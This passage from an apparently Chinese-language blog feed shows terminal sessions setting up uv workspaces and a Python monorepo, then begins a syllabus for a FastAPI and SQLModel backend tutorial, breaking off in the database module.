&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;❯ uv venv
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Using CPython 3.13.5 interpreter at: /usr/bin/python3.13
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Creating virtual environment at: .venv
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Activate with: &lt;span class="nb"&gt;source&lt;/span&gt; .venv/bin/activate
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;❯ uv init --package bird-feeder
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Adding &lt;span class="sb"&gt;`&lt;/span&gt;bird-feeder&lt;span class="sb"&gt;`&lt;/span&gt; as member of workspace &lt;span class="sb"&gt;`&lt;/span&gt;/home/veno/Projects/uv_playground/albatross&lt;span class="sb"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Initialized project &lt;span class="sb"&gt;`&lt;/span&gt;bird-feeder&lt;span class="sb"&gt;`&lt;/span&gt; at &lt;span class="sb"&gt;`&lt;/span&gt;/home/veno/Projects/uv_playground/albatross/bird-feeder&lt;span class="sb"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;❯ rm bird-feeder -rf
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;❯ uv init --package packages/bird-feeder
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Adding &lt;span class="sb"&gt;`&lt;/span&gt;bird-feeder&lt;span class="sb"&gt;`&lt;/span&gt; as member of workspace &lt;span class="sb"&gt;`&lt;/span&gt;/home/veno/Projects/uv_playground/albatross&lt;span class="sb"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Initialized project &lt;span class="sb"&gt;`&lt;/span&gt;bird-feeder&lt;span class="sb"&gt;`&lt;/span&gt; at &lt;span class="sb"&gt;`&lt;/span&gt;/home/veno/Projects/uv_playground/albatross/packages/bird-feeder&lt;span class="sb"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;❯ uv init --package packages/seeds
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Adding &lt;span class="sb"&gt;`&lt;/span&gt;seeds&lt;span class="sb"&gt;`&lt;/span&gt; as member of workspace &lt;span class="sb"&gt;`&lt;/span&gt;/home/veno/Projects/uv_playground/albatross&lt;span class="sb"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Initialized project &lt;span class="sb"&gt;`&lt;/span&gt;seeds&lt;span class="sb"&gt;`&lt;/span&gt; at &lt;span class="sb"&gt;`&lt;/span&gt;/home/veno/Projects/uv_playground/albatross/packages/seeds&lt;span class="sb"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;❯ uv add tqdm
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Resolved &lt;span class="m"&gt;5&lt;/span&gt; packages in 308ms
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Built albatross @ file:///home/veno/Projects/uv_playground/albatross
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Prepared &lt;span class="m"&gt;2&lt;/span&gt; packages in 167ms
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Installed &lt;span class="m"&gt;2&lt;/span&gt; packages in 2ms
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; + &lt;span class="nv"&gt;albatross&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;0.1.0 &lt;span class="o"&gt;(&lt;/span&gt;from file:///home/veno/Projects/uv_playground/albatross&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; + &lt;span class="nv"&gt;tqdm&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;4.67.1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;❯ uv add bird-feeder
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Resolved &lt;span class="m"&gt;5&lt;/span&gt; packages in 5ms
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Built albatross @ file:///home/veno/Projects/uv_playground/albatross
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Built bird-feeder @ file:///home/veno/Projects/uv_playground/albatross/packages/bird-feeder
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Prepared &lt;span class="m"&gt;2&lt;/span&gt; packages in 5ms
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Uninstalled &lt;span class="m"&gt;1&lt;/span&gt; package in 0.60ms
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Installed &lt;span class="m"&gt;2&lt;/span&gt; packages in 3ms
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ~ &lt;span class="nv"&gt;albatross&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;0.1.0 &lt;span class="o"&gt;(&lt;/span&gt;from file:///home/veno/Projects/uv_playground/albatross&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; + bird-feeder&lt;span class="o"&gt;==&lt;/span&gt;0.1.0 &lt;span class="o"&gt;(&lt;/span&gt;from file:///home/veno/Projects/uv_playground/albatross/packages/bird-feeder&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;❯ uv init --lib libs/dirt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Adding &lt;span class="sb"&gt;`&lt;/span&gt;dirt&lt;span class="sb"&gt;`&lt;/span&gt; as member of workspace &lt;span class="sb"&gt;`&lt;/span&gt;/home/veno/Projects/uv_playground/albatross&lt;span class="sb"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Initialized project &lt;span class="sb"&gt;`&lt;/span&gt;dirt&lt;span class="sb"&gt;`&lt;/span&gt; at &lt;span class="sb"&gt;`&lt;/span&gt;/home/veno/Projects/uv_playground/albatross/libs/dirt&lt;span class="sb"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;❯ uv add dirt --package seeds
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Resolved &lt;span class="m"&gt;6&lt;/span&gt; packages in 194ms
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Built seeds @ file:///home/veno/Projects/uv_playground/albatross/packages/seeds
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Built dirt @ file:///home/veno/Projects/uv_playground/albatross/libs/dirt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Prepared &lt;span class="m"&gt;2&lt;/span&gt; packages in 8ms
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Installed &lt;span class="m"&gt;2&lt;/span&gt; packages in 2ms
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; + &lt;span class="nv"&gt;dirt&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;0.1.0 &lt;span class="o"&gt;(&lt;/span&gt;from file:///home/veno/Projects/uv_playground/albatross/libs/dirt&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; + &lt;span class="nv"&gt;seeds&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;0.1.0 &lt;span class="o"&gt;(&lt;/span&gt;from file:///home/veno/Projects/uv_playground/albatross/packages/seeds&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;❯ tree .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── libs
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ └── dirt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ├── pyproject.toml
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ├── README.md
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ └── src
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ └── dirt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ├── __init__.py
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ └── py.typed
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── packages
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ├── bird-feeder
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ │ ├── pyproject.toml
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ │ ├── README.md
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ │ └── src
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ │ └── bird_feeder
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ │ └── __init__.py
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ └── seeds
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ├── pyproject.toml
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ├── README.md
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ └── src
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ └── seeds
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ └── __init__.py
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── pyproject.toml
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── README.md
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── src
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ └── albatross
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ └── __init__.py
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└── uv.lock
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="m"&gt;14&lt;/span&gt; directories, &lt;span class="m"&gt;14&lt;/span&gt; files
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;pyproject.toml 中的内容较多，这里就不贴了，读者可以自己在电脑上试一下便知。&lt;/p&gt;
&lt;p&gt;如果希望工作区不包含 seeds , 则需要在根项目，也就是&lt;code&gt;albatross&lt;/code&gt;包的pyproject.toml中编辑 &lt;code&gt;[tool.uv.workspace]&lt;/code&gt;, 添加&lt;code&gt;exclude = [&amp;quot;packages/seeds&amp;quot;]&lt;/code&gt;。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Every workspace needs a root, which is also a workspace member. In the above example, &lt;code&gt;albatross&lt;/code&gt; is the workspace root, and the workspace members include all projects under the packages directory, except &lt;code&gt;seeds&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这里 uv 的官方文档给出的例子是 Monorepo 中有一个根项目和几个辅助库。由于每一个工作区都需要一个根，如果我们想创建的 Monorepo 中，各个项目之间的地位是等价的，那么我们需要注意的是我们仍然需要先初始化整个 Monorepo 的根。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;span class="lnt"&gt;19
&lt;/span&gt;&lt;span class="lnt"&gt;20
&lt;/span&gt;&lt;span class="lnt"&gt;21
&lt;/span&gt;&lt;span class="lnt"&gt;22
&lt;/span&gt;&lt;span class="lnt"&gt;23
&lt;/span&gt;&lt;span class="lnt"&gt;24
&lt;/span&gt;&lt;span class="lnt"&gt;25
&lt;/span&gt;&lt;span class="lnt"&gt;26
&lt;/span&gt;&lt;span class="lnt"&gt;27
&lt;/span&gt;&lt;span class="lnt"&gt;28
&lt;/span&gt;&lt;span class="lnt"&gt;29
&lt;/span&gt;&lt;span class="lnt"&gt;30
&lt;/span&gt;&lt;span class="lnt"&gt;31
&lt;/span&gt;&lt;span class="lnt"&gt;32
&lt;/span&gt;&lt;span class="lnt"&gt;33
&lt;/span&gt;&lt;span class="lnt"&gt;34
&lt;/span&gt;&lt;span class="lnt"&gt;35
&lt;/span&gt;&lt;span class="lnt"&gt;36
&lt;/span&gt;&lt;span class="lnt"&gt;37
&lt;/span&gt;&lt;span class="lnt"&gt;38
&lt;/span&gt;&lt;span class="lnt"&gt;39
&lt;/span&gt;&lt;span class="lnt"&gt;40
&lt;/span&gt;&lt;span class="lnt"&gt;41
&lt;/span&gt;&lt;span class="lnt"&gt;42
&lt;/span&gt;&lt;span class="lnt"&gt;43
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 首先初始化根项目&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;❯ uv init --bare &lt;span class="c1"&gt;# 使用--bare参数，仅生成一个pyproject.toml文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Initialized project &lt;span class="sb"&gt;`&lt;/span&gt;monorepo&lt;span class="sb"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;❯ uv init --package packages/pkg_a
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Adding &lt;span class="sb"&gt;`&lt;/span&gt;pkg-a&lt;span class="sb"&gt;`&lt;/span&gt; as member of workspace &lt;span class="sb"&gt;`&lt;/span&gt;/home/veno/Projects/uv_playground/monorepo&lt;span class="sb"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Initialized project &lt;span class="sb"&gt;`&lt;/span&gt;pkg-a&lt;span class="sb"&gt;`&lt;/span&gt; at &lt;span class="sb"&gt;`&lt;/span&gt;/home/veno/Projects/uv_playground/monorepo/packages/pkg_a&lt;span class="sb"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;❯ uv init --package packages/pkg_b
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Adding &lt;span class="sb"&gt;`&lt;/span&gt;pkg-b&lt;span class="sb"&gt;`&lt;/span&gt; as member of workspace &lt;span class="sb"&gt;`&lt;/span&gt;/home/veno/Projects/uv_playground/monorepo&lt;span class="sb"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Initialized project &lt;span class="sb"&gt;`&lt;/span&gt;pkg-b&lt;span class="sb"&gt;`&lt;/span&gt; at &lt;span class="sb"&gt;`&lt;/span&gt;/home/veno/Projects/uv_playground/monorepo/packages/pkg_b&lt;span class="sb"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;❯ cat ./pyproject.toml
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;project&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;monorepo&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;version&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;0.1.0&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;requires-python &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;gt;=3.13&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;dependencies&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;[]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;tool.uv.workspace&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;members&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;packages/pkg_a&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;packages/pkg_b&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;❯ tree .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── packages
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ├── pkg_a
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ │ ├── pyproject.toml
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ │ ├── README.md
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ │ └── src
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ │ └── pkg_a
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ │ └── __init__.py
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ └── pkg_b
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ├── pyproject.toml
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ├── README.md
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ └── src
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ └── pkg_b
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ └── __init__.py
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└── pyproject.toml
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="m"&gt;8&lt;/span&gt; directories, &lt;span class="m"&gt;7&lt;/span&gt; files
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;附：&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://docs.astral.sh/uv/concepts/projects/workspaces/" target="_blank" rel="noopener"
&gt;UV Documentation - Using workspaces&lt;/a&gt;&lt;/p&gt;</description></item><item><title>Veno 的后端教程大纲</title><link>https://v3n0.com/post/backend-tutorial/finalized-syllabus-for-hdu-cs-wiki-backend-tutorial/</link><pubDate>Sun, 20 Jul 2025 00:21:21 +0800</pubDate><guid>https://v3n0.com/post/backend-tutorial/finalized-syllabus-for-hdu-cs-wiki-backend-tutorial/</guid><description>&lt;p&gt;2025-09-28 编辑：本人将不再参与 hdu-cs.wiki 的编辑。后端教程不会继续在 Wiki 上更新。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="before-beginning"&gt;Before Beginning
&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;前置知识需求: CS61A, 或掌握至少一门编程语言（如Python）的扎实基础，理解函数、类、简单数据结构（列表、字典、集合等）、递归等核心编程概念, 畅通的网络环境, 了解Python的基础写法, 基本的英语阅读能力, 提问的艺术, 基础CLI操作&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="第一部分-后端基础-python--fastapi--sqlmodel"&gt;第一部分： 后端基础 (Python + FastAPI + SQLModel)
&lt;/h2&gt;&lt;h3 id="教学目标一"&gt;教学目标(一)
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;快速上手: 让学生在几小时内，从零开始搭建起一个功能完整的 CRUD (增删改查) API。&lt;/li&gt;
&lt;li&gt;建立自信: 通过 FastAPI 强大的自动文档和 SQLModel 的易用性，让学生感受到现代工具带来的便捷，消除对后端的畏难心理。&lt;/li&gt;
&lt;li&gt;文档阅读: FastAPI 有着非常用户友好的文档, 利用它来培养阅读文档的习惯. 这也是本教程选择SQLModel而不是SQLAlchemy的原因之一&lt;/li&gt;
&lt;li&gt;正确使用AI: 不要让Copilot变成Copybot&lt;/li&gt;
&lt;li&gt;整个教程的每个模块会维护和精进同一个项目(不与 Project 1 相同, 教程项目更倾向于教学示范)&lt;/li&gt;
&lt;li&gt;理解或掌握以下知识：&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;路由函数 (Routing) 与 HTTP 方法 (GET, POST, PUT, DELETE)。&lt;/li&gt;
&lt;li&gt;SQL, ORM 与数据库操作 (CRUD)。&lt;/li&gt;
&lt;li&gt;API-服务-数据 的基本三层架构模式。&lt;/li&gt;
&lt;li&gt;中间件 (Middleware) 的作用。&lt;/li&gt;
&lt;li&gt;基本的安全思想.&lt;/li&gt;
&lt;li&gt;基本的单元测试和集成测试概念和写法&lt;/li&gt;
&lt;li&gt;配置管理: 学会分离开发, 测试, 生产环境&lt;/li&gt;
&lt;li&gt;学会现代部署: 掌握使用 Docker 和 Docker Compose 对应用进行容器化部署的基本技能。&lt;/li&gt;
&lt;li&gt;学会阅读框架文档&lt;/li&gt;
&lt;li&gt;基本的 Git 团队协作能力&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="课程大纲一"&gt;课程大纲(一)
&lt;/h3&gt;&lt;h4 id="lab-0"&gt;Lab 0
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;VSCode 配置, &lt;a class="link" href="https://fastapi.tiangolo.com/zh/python-types/" target="_blank" rel="noopener"
&gt;环境变量, Python 虚拟环境, PEP规范和类型标注&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;前后端的基本概念, 后端是什么&lt;/li&gt;
&lt;li&gt;uv Python 环境管理&lt;/li&gt;
&lt;li&gt;Git基本配置, Github&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="模块一-api-和-http"&gt;模块一: API 和 HTTP
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;API 和 路由函数&lt;/li&gt;
&lt;li&gt;路径参数和查询参数&lt;/li&gt;
&lt;li&gt;HTTP, GET 和 POST 方法&lt;/li&gt;
&lt;li&gt;请求体和数据校验(pydantic)&lt;/li&gt;
&lt;li&gt;API 文档 (展示FastAPI的自动生成的 Swagger 文档)&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;li&gt;作业:
&lt;ul&gt;
&lt;li&gt;阅读文档, 找到如何使用 FastAPI 构造一个上传文件的接口.&lt;/li&gt;
&lt;li&gt;通过阅读文档, 发现并解决 FastAPI 中路由函数先后定义产生的问题.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;拓展阅读:
&lt;ul&gt;
&lt;li&gt;HTTP MDN, 图解HTTP&lt;/li&gt;
&lt;li&gt;RESTful API 和 WebSocket&lt;/li&gt;
&lt;li&gt;API测试工具&lt;/li&gt;
&lt;li&gt;&amp;hellip;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="模块二-数据库"&gt;模块二： 数据库
&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;SQL语句: 手动使用SQL来进行基础的查询和数据库操作&lt;/li&gt;
&lt;li&gt;ORM 与模型: ORM概念, 使用 SQLModel，定义第一个数据模型。&lt;/li&gt;
